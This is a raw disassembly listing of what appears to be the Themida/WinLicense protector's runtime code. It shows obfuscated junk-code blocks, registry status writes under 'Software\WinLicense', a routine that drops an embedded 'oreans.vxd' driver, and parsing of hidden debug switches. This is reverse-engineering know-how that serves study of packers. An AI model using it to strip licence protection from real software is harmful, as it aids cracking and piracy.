		dd 1Ch,	0A5C35141h, 0D96CBC6Ah,	0D75CD0AAh, 0BD78B66h
		dd 0F1225BDh, 68446806h, 0BE669DA0h, 481691Ch, 0D5E26324h
		dd 51958922h, 0FF060F30h, 0F1CE5B5h, 0B58D3306h, 8D060F27h
		dd 0F3AB885h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 22C41443h, 607929F1h, 33F180FCh
		dd 93D0FF61h, 11E9h, 0CA30B600h, 62786264h, 4D2BC984h
		dd 8C478D29h, 0BE50A669h, 74019BB0h, 0DE993h, 0C1740000h
		dd 0FA300698h, 38CA8C92h, 0FFE8DDA3h, 0D9BD01D0h, 8D060F19h
		dd 0F707B9Dh, 258D8906h, 0B8060F29h, 1,	2A52BA66h, 0C19D8960h
		dd 8B060F2Bh, 0F15B985h, 0E3FF6106h, 68A0Fh, 958B0000h
		dd 60F2235h
; ---------------------------------------------------------------------------


loc_57588C:				; CODE XREF: Themida_:00575733j
		mov	eax, ecx
		and	edi, [ebp+60F2249h]
		mov	eax, eax
		stc
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_5758A9
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_5758C2


loc_5758A9:				; CODE XREF: Themida_:0057589Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+60F2941h],	eax
		lea	ebx, [ebp+611B01Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_5758C2:				; CODE XREF: Themida_:005758A7j
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_5758E2
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+60F2941h],	eax
		lea	ebx, [ebp+611ACC0h]
		call	ebx
		pop	ebx
		pop	eax


loc_5758E2:				; CODE XREF: Themida_:005758C9j
		sbb	edi, 3659DEE3h
		jmp	loc_5758FE
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebp+esi*4+5231F78Ch]
; ---------------------------------------------------------------------------
		dd 490872EAh, 0C2E751A6h
		db 0C4h, 40h
; ---------------------------------------------------------------------------


loc_5758FE:				; CODE XREF: Themida_:005758E8j
		mov	[ebp+60F302Dh],	eax
		mov	eax, eax
		jmp	loc_5759B5
; ---------------------------------------------------------------------------
aSoftwareWinlic	db 'Software\WinLicense',0
aCheckin	db 'CheckIN',0
aXprotexit	db 'XprotExit',0
aCheckout	db 'CheckOUT',0
aWinlicensevers	db 'WinLicenseVersion',0
aWinlicensedriv	db 'WinLicenseDriverVersion',0
aWinlicenseinst	db 'WinLicenseInstance',0
aExitok		db 'ExitOk',0
aProcin		db 'ProcIN',0
aProcout	db 'ProcOUT',0
aExitin		db 'ExitIN',0
aExitout	db 'ExitOUT',0
aTpin		db 'TpIN',0
		align 4
		dd 2 dup(0)
		dd 0DDAF7F00h, 0DD72F077h
		db 77h
; ---------------------------------------------------------------------------


loc_5759B5:				; CODE XREF: Themida_:00575906j
		jmp	loc_575F50
; ---------------------------------------------------------------------------
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	19h
		push	dword ptr [ebp+611AADBh]
		push	1
		push	0
		lea	eax, [ebp+611AA70h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AA9Ah]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AA82h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AAADh]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AA5Dh]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60F084Dh], 0
		jz	locret_575B89
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 4Ch
		mov	[ebx], eax

locret_575B89:				; CODE XREF: Themida_:00575B78j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60F084Dh], 0
		jz	locret_575BA2
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 50h
		mov	[ebx], eax

locret_575BA2:				; CODE XREF: Themida_:00575B91j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60F084Dh], 0
		jz	locret_575BBB
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 54h
		mov	[ebx], eax

locret_575BBB:				; CODE XREF: Themida_:00575BAAj
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60F084Dh], 0
		jz	locret_575BD4
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 58h
		mov	[ebx], eax

locret_575BD4:				; CODE XREF: Themida_:00575BC3j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60F084Dh], 0
		jz	locret_575BED
		mov	ebx, [ebp+60F084Dh]
		add	ebx, 5Ch
		mov	[ebx], eax

locret_575BED:				; CODE XREF: Themida_:00575BDCj
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AAD2h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575C48
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575C48:				; CODE XREF: Themida_:00575C36j
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AAB4h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575CAF
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575CAF:				; CODE XREF: Themida_:00575C9Dj
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AABBh]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575D16
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575D16:				; CODE XREF: Themida_:00575D04j
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AAC3h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575D7D
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575D7D:				; CODE XREF: Themida_:00575D6Bj
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AACAh]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575DE4
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575DE4:				; CODE XREF: Themida_:00575DD2j
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	dword ptr [ebp+611AADBh], 1
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000002h
		call	dword ptr [ebp+611AAE7h]
		or	eax, eax
		jz	loc_575E2D
		mov	dword ptr [ebp+611AADBh], 0
		jmp	loc_575E7A
; ---------------------------------------------------------------------------


loc_575E2D:				; CODE XREF: Themida_:00575E18j
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AA55h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		or	eax, eax
		jz	loc_575E64
		mov	dword ptr [ebp+611AADBh], 0
		jmp	loc_575E6E
; ---------------------------------------------------------------------------


loc_575E64:				; CODE XREF: Themida_:00575E4Fj
		mov	dword ptr [ebp+611AADBh], 1


loc_575E6E:				; CODE XREF: Themida_:00575E5Fj
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]


loc_575E7A:				; CODE XREF: Themida_:00575E28j
		popa
		mov	eax, [ebp+611AADBh]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AA55h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575EDB
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575EDB:				; CODE XREF: Themida_:00575EC9j
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+611AADBh],	eax
		lea	eax, [ebp+611AAD7h]
		push	eax
		lea	eax, [ebp+611AA41h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+611AAE7h]
		push	4
		lea	eax, [ebp+611AADBh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+611AA67h]
		push	eax
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F1BE9h]
		cmp	dword ptr [ebp+60F1891h], 0
		jz	loc_575F42
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+611AAE3h]


loc_575F42:				; CODE XREF: Themida_:00575F30j
		push	dword ptr [ebp+611AAD7h]
		call	dword ptr [ebp+60F16CDh]
		popa
		retn
; ---------------------------------------------------------------------------


loc_575F50:				; CODE XREF: Themida_:loc_5759B5j
		mov	byte ptr [ebp+60F24FDh], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+60F1E25h]
		call	dword ptr [ebp+60F2771h]
		mov	[ebp+611AAE7h],	eax
		mov	byte ptr [ebp+60F24FDh], 52h
		push	902E00E5h
		push	dword ptr [ebp+60F1E25h]
		call	dword ptr [ebp+60F2771h]
		mov	[ebp+611AAE3h],	eax
		mov	byte ptr [ebp+60F24FDh], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+60F1E25h]
		call	dword ptr [ebp+60F2771h]
		mov	[ebp+60F1BE9h],	eax
		mov	byte ptr [ebp+60F24FDh], 52h ; CODE XREF: Themida_:00575FEBj
		push	98781034h
		push	dword ptr [ebp+60F1E25h]
		call	dword ptr [ebp+60F2771h]
		mov	[ebp+60F16CDh],	eax
		mov	byte ptr [ebp+60F24FDh], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+60F1E25h]
		call	dword ptr [ebp+60F2771h]
		mov	[ebp+60F2B95h],	eax
		call	sub_575FFC
		jg	short near ptr loc_575FAA+2
		shr	dword ptr [eax], 1
		jmp	far ptr	0B923h:82A580B0h
; ---------------------------------------------------------------------------
		mov	ds:9C97E4E3h, al
		aaa

; =============== S U B	R O U T	I N E =======================================



sub_575FFC	proc near		; CODE XREF: Themida_:00575FE6p
		call	sub_57600D
		setalc
		movsd
		sbb	[eax], bh
		add	[edx-6639C219h], eax
		fcomi	st, st(1)
sub_575FFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57600D	proc near		; CODE XREF: sub_575FFCp
		pop	esi
		pop	edx
		jmp	loc_576020
; ---------------------------------------------------------------------------
		dd 255CDEF0h, 0B67E54B4h, 0B1790802h
; ---------------------------------------------------------------------------


loc_576020:				; CODE XREF: sub_57600D+2j
		add	edx, 6B33h
		jmp	loc_57603E
; ---------------------------------------------------------------------------
		db 0F9h
		dd 53E14228h, 744705D5h, 0F815AE16h, 0B13B621h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0D2h
; ---------------------------------------------------------------------------


loc_57603E:				; CODE XREF: sub_57600D+19j
		push	1A88h
		jmp	loc_57605A
; ---------------------------------------------------------------------------
		dd 72E55827h, 0DF84A849h, 0FFCC4470h, 42F0CB7Ch
; ---------------------------------------------------------------------------
		fnstenv	byte ptr [eax]


loc_57605A:				; CODE XREF: sub_57600D+36j
		pop	eax
		mov	ebx, 2F814832h


loc_576060:				; CODE XREF: sub_57600D+DCj
		push	dword ptr [edx]
		jge	loc_57606B
		mov	di, bx


loc_57606B:				; CODE XREF: sub_57600D+55j
		pop	ecx
		mov	si, bx
		sub	ecx, 4D4941FEh
		jmp	loc_57608D
; ---------------------------------------------------------------------------
		dw 0DF74h
		dd 0A67011E0h, 394AB55Ah, 0C05297EAh, 9ACB9E5Eh
		db 70h
; ---------------------------------------------------------------------------


loc_57608D:				; CODE XREF: sub_57600D+68j
		sub	ecx, 3DE4196Ah
		mov	di, ax
		sub	ecx, 0F05067h
		or	si, 5BD2h
		push	ecx
		pusha
		popa
		pop	dword ptr [edx]
		mov	edi, ebx
		sub	edx, 3
		mov	esi, 8A1639Ch
		dec	edx
		pusha
		add	edi, 12AFD8D9h
		popa
		sub	eax, 1
		jnz	loc_5760E3
		jmp	loc_5760D5
; ---------------------------------------------------------------------------
		sbb	[ebx], al
		add	edi, esp
		fidiv	word ptr [eax-1C3255ACh]
		stc


loc_5760D5:				; CODE XREF: sub_57600D+B8j
		jmp	loc_576102
; ---------------------------------------------------------------------------
		dw 0E407h
; ---------------------------------------------------------------------------
		mov	ebx, 91B6FFC6h
		cmp	al, dl


loc_5760E3:				; CODE XREF: sub_57600D+B2j
		sbb	esi, 367B25D2h
		jmp	loc_576060
; ---------------------------------------------------------------------------
		dw 0A6AFh
		dd 558D77AFh, 0B8A7E6CEh, 2F600648h, 0D3FBB850h
; ---------------------------------------------------------------------------
		and	al, 7Dh


loc_576102:				; CODE XREF: sub_57600D:loc_5760D5j
		jmp	loc_576315
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		dd 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_576315:				; CODE XREF: sub_57600D:loc_576102j
		jmp	loc_576409
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+60F24FDh], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+60F1CE5h]
		lea	eax, [ebp+60F3AB8h]
		call	eax
		push	104h
		lea	ebx, [ebp+60F0B7Dh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+611B435h]
		mov	edi, esi
		xor	al, al


loc_57634D:				; CODE XREF: sub_57600D+341j
		scasb
		jnz	loc_57634D
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+60F24FDh], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+60F1CE5h]
		lea	eax, [ebp+60F3AB8h]
		call	eax
		lea	esi, [ebp+60F0B7Dh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+60F24FDh], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+60F1CE5h]
		lea	eax, [ebp+60F3AB8h]
		call	eax
		lea	edi, [ebp+60F10E1h]
		lea	ecx, [ebp+611B55Bh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5763EB
		lea	esi, [ebp+611B23Dh]
		lea	eax, [ebp+611A270h]
		call	eax
		lea	ecx, [ebp+60F707Bh]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5763EB:				; CODE XREF: sub_57600D+3BDj
		mov	byte ptr [ebp+60F24FDh], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+60F1CE5h]
		lea	eax, [ebp+60F3AB8h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_576409:				; CODE XREF: sub_57600D:loc_576315j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_576420
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_576420:				; CODE XREF: sub_57600D+40Cj
		jmp	loc_579BF5
; ---------------------------------------------------------------------------
		db 4Dh,	5Ah, 90h
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h
		db 0
; ---------------------------------------------------------------------------


loc_579BF5:				; CODE XREF: sub_57600D:loc_576420j
		jmp	loc_579C93
; ---------------------------------------------------------------------------
		dw 622Fh
aUgcheck2	db 'ugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_579C93:				; CODE XREF: sub_57600D:loc_579BF5j
		cmp	dword ptr [ebp+611EDB0h], 0
		jz	loc_579CAA
		mov	dword ptr [ebp+60F26ADh], 1


loc_579CAA:				; CODE XREF: sub_57600D+3C8Dj
		mov	byte ptr [ebp+60F24FDh], 47h
		call	sub_579CBA
		lea	ebp, [ebp+ebp*2-70h]
sub_57600D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_579CBA	proc near		; CODE XREF: sub_57600D+3CA4p

; FUNCTION CHUNK AT 0057A00F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0057B0E4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057B108 SIZE 0000000D BYTES

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+60F1CE5h]
		lea	eax, [ebp+60F3AB8h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_579D03
		inc	edi
		mov	al, 22h


loc_579CE4:				; CODE XREF: sub_579CBA+2Bj
		scasb
		jnz	loc_579CE4
		cmp	byte ptr [edi],	0
		jz	loc_57A00F
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_57A00F
		jmp	loc_579D21
; ---------------------------------------------------------------------------


loc_579D03:				; CODE XREF: sub_579CBA+21j
					; sub_579CBA+62j
		cmp	byte ptr [edi],	0
		jz	loc_57A00F
		cmp	byte ptr [edi],	20h
		jnz	loc_579D1B
		inc	edi
		jmp	loc_579D21
; ---------------------------------------------------------------------------


loc_579D1B:				; CODE XREF: sub_579CBA+55j
		inc	edi
		jmp	loc_579D03
; ---------------------------------------------------------------------------


loc_579D21:				; CODE XREF: sub_579CBA+44j
					; sub_579CBA+5Cj ...
		cmp	byte ptr [edi],	0
		jnz	loc_579D2F
		jmp	loc_57A00F
; ---------------------------------------------------------------------------


loc_579D2F:				; CODE XREF: sub_579CBA+6Aj
		jmp	loc_579D35
; ---------------------------------------------------------------------------


loc_579D34:				; CODE XREF: sub_579CBA+7Ej
		inc	edi


loc_579D35:				; CODE XREF: sub_579CBA:loc_579D2Fj
		cmp	byte ptr [edi],	20h
		jz	loc_579D34
		cmp	byte ptr [edi],	0
		jnz	loc_579D4C
		jmp	loc_57A00F
; ---------------------------------------------------------------------------


loc_579D4C:				; CODE XREF: sub_579CBA+87j
		call	sub_579D5B
		jmp	loc_579D21
sub_579CBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_57A00F

; =============== S U B	R O U T	I N E =======================================



sub_579D5B	proc near		; CODE XREF: sub_579CBA:loc_579D4Cp
		lea	esi, [ebp+611ED30h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579D84
		mov	dword ptr [ebp+60F1891h], 1
		retn
; ---------------------------------------------------------------------------


loc_579D84:				; CODE XREF: sub_579D5B+18j
		lea	esi, [ebp+611ED3Bh]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579DAD
		mov	dword ptr [ebp+60F26ADh], 1
		retn
; ---------------------------------------------------------------------------


loc_579DAD:				; CODE XREF: sub_579D5B+41j
		lea	esi, [ebp+611EDB4h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579DD6
		mov	dword ptr [ebp+60F1E5Dh], 1
		retn
; ---------------------------------------------------------------------------


loc_579DD6:				; CODE XREF: sub_579D5B+6Aj
		lea	esi, [ebp+611ED45h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579DFF
		mov	dword ptr [ebp+60F26ADh], 1
		retn
; ---------------------------------------------------------------------------


loc_579DFF:				; CODE XREF: sub_579D5B+93j
		lea	esi, [ebp+611ED4Fh]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579E32
		mov	dword ptr [ebp+60F26ADh], 1
		mov	dword ptr [ebp+60F1891h], 1
		retn
; ---------------------------------------------------------------------------


loc_579E32:				; CODE XREF: sub_579D5B+BCj
		lea	esi, [ebp+611ED5Dh]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579E5A
		mov	dword ptr [ebp+60F1405h], 1


loc_579E5A:				; CODE XREF: sub_579D5B+EFj
		lea	esi, [ebp+611ED67h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579E82
		mov	dword ptr [ebp+60F1405h], 1


loc_579E82:				; CODE XREF: sub_579D5B+117j
		lea	esi, [ebp+611ED72h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579EAA
		mov	dword ptr [ebp+60F1DADh], 1


loc_579EAA:				; CODE XREF: sub_579D5B+13Fj
		lea	esi, [ebp+611ED78h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579ED2
		mov	dword ptr [ebp+60F1699h], 1


loc_579ED2:				; CODE XREF: sub_579D5B+167j
		lea	esi, [ebp+611ED7Eh]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579EFA
		mov	dword ptr [ebp+60F26F1h], 1


loc_579EFA:				; CODE XREF: sub_579D5B+18Fj
		lea	esi, [ebp+611ED8Ch]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579F22
		mov	dword ptr [ebp+60F2931h], 1


loc_579F22:				; CODE XREF: sub_579D5B+1B7j
		lea	esi, [ebp+611ED99h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579F4A
		mov	dword ptr [ebp+60F012Dh], 1


loc_579F4A:				; CODE XREF: sub_579D5B+1DFj
